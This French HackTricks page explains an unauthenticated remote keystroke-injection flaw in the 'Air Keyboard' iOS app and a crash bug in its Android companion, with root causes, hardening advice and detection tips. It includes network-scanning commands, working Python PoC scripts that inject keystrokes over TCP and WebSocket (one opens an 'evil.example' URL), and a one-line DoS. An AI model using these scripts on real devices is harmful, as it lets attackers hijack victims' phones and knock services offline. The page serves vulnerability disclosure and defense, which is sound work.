Injection d'Entrée à Distance Air Keyboard (Écouteur TCP / WebSocket Non Authentifié)
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
TL;DR
La version iOS de l'application commerciale “Air Keyboard” (ID App Store 6463187929) expose un service de réseau local qui accepte des trames de frappes sans aucune authentification ni vérification d'origine. Selon la version installée, le service est soit :
- ≤ 1.0.4 – écouteur TCP brut sur le port 8888 qui attend un en-tête de longueur de 2 octets suivi d'un device-id et de la charge utile ASCII.
- ≥ 1.0.5 (juin 2025) – écouteur WebSocket sur le même port (8888) qui analyse des clés JSON telles que
{"type":1,"text":"…"}
.
Tout appareil sur le même Wi-Fi / sous-réseau peut donc injecter des entrées clavier arbitraires dans le téléphone de la victime, réalisant un détournement complet de l'interaction à distance. Une version Android compagnon écoute sur le port 55535. Elle effectue une poignée de main AES-ECB faible mais des données corrompues provoquent toujours une exception non gérée à l'intérieur d'OpenSSL, faisant planter le service en arrière-plan (DoS).
La vulnérabilité est toujours non corrigée au moment de l'écriture (juillet 2025) et l'application reste disponible sur l'App Store.
1. Découverte de Service
Scannez le réseau local et recherchez les deux ports fixes utilisés par les applications :
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Sur les appareils Android, vous pouvez identifier le package responsable localement :
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
Sur iOS jailbreaké, vous pouvez faire quelque chose de similaire avec lsof -i -nP | grep LISTEN | grep 8888
.
2. Détails du protocole (iOS)
2.1 Héritage (≤ 1.0.4) – cadres binaires personnalisés
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
La longueur déclarée inclut le byte device_id
mais pas l'en-tête de deux bytes lui-même.
2.2 Actuel (≥ 1.0.5) – JSON sur WebSocket
La version 1.0.5 a migré silencieusement vers les WebSockets tout en gardant le numéro de port inchangé. Un coup de touche minimal ressemble à :
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
Aucune poignée de main, jeton ou signature n'est requise – le premier objet JSON déclenche déjà l'événement UI.
3. Exploitation PoC
3.1 Ciblage ≤ 1.0.4 (TCP brut)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 Ciblage ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
Tout ASCII imprimable — y compris les sauts de ligne, les tabulations et la plupart des touches spéciales — peut être envoyé, donnant à l'attaquant le même pouvoir que l'entrée utilisateur physique : lancer des applications, envoyer des messages instantanés, ouvrir des URL malveillantes, basculer des paramètres, etc.
4. Android Companion – Denial-of-Service
Le port Android (55535) attend un mot de passe de 4 caractères chiffré avec une clé AES-128-ECB codée en dur suivi d'un nonce aléatoire. Les erreurs de parsing remontent à AES_decrypt()
et ne sont pas interceptées, terminant le thread d'écoute. Un seul paquet malformé suffit donc à maintenir les utilisateurs légitimes déconnectés jusqu'à ce que le processus soit relancé.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Applications Connexes – Un Anti-Pattern Récurrent
Air Keyboard n'est pas un cas isolé. D'autres utilitaires mobiles de “clavier/souris à distance” ont été livrés avec la même faille :
- Telepad ≤ 1.0.7 – CVE-2022-45477/78 permettant l'exécution de commandes non authentifiées et l'enregistrement de touches en texte clair.
- PC Keyboard ≤ 30 – CVE-2022-45479/80 RCE non authentifié & espionnage de trafic.
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 mot de passe par défaut absent, brute-force de PIN faible et fuite en texte clair.
Ces cas mettent en évidence une négligence systémique des surfaces d'attaque exposées sur les applications mobiles.
6. Causes Fondamentales
- Pas de vérifications d'origine / d'intégrité sur les trames entrantes (iOS).
- Mauvaise utilisation cryptographique (clé statique, ECB, validation de longueur manquante) et absence de gestion des exceptions (Android).
- Droit Local-Network accordé par l'utilisateur ≠ sécurité – iOS demande un consentement d'exécution pour le trafic LAN, mais cela ne remplace pas une authentification appropriée.
7. Renforcement & Mesures Défensives
Recommandations pour les développeurs :
- Lier l'écouteur à
127.0.0.1
et tunneliser via mTLS ou Noise XX si un contrôle à distance est nécessaire. - Dériver des secrets par appareil lors de l'intégration (par exemple, code QR ou PIN de couplage) et imposer une authentification mutuelle avant de traiter les entrées.
- Adopter le Apple Network Framework avec NWListener + TLS au lieu de sockets bruts.
- Mettre en œuvre des vérifications de longueur et une gestion structurée des exceptions lors du déchiffrement ou du décodage des trames.
Gains rapides pour les équipes Blue-/Red-Team :
- Chasse au réseau :
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
ou filtre Wiresharktcp.port == 8888
. - Inspection en temps réel : Script Frida accrochant
socket()
/NWConnection
pour lister les écouteurs inattendus. - Rapport de Confidentialité des Applications iOS (Réglages ▸ Confidentialité & Sécurité ▸ Rapport de Confidentialité des Applications) met en évidence les applications qui contactent des adresses LAN – utile pour repérer des services malveillants.
- EDR mobiles peuvent ajouter des règles Yara-L simples pour les clés JSON
"selectionStart"
,"selectionEnd"
à l'intérieur des charges TCP en texte clair sur le port 8888.
Détection Cheat-Sheet (Pentesters)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
Références
- Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection
- Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.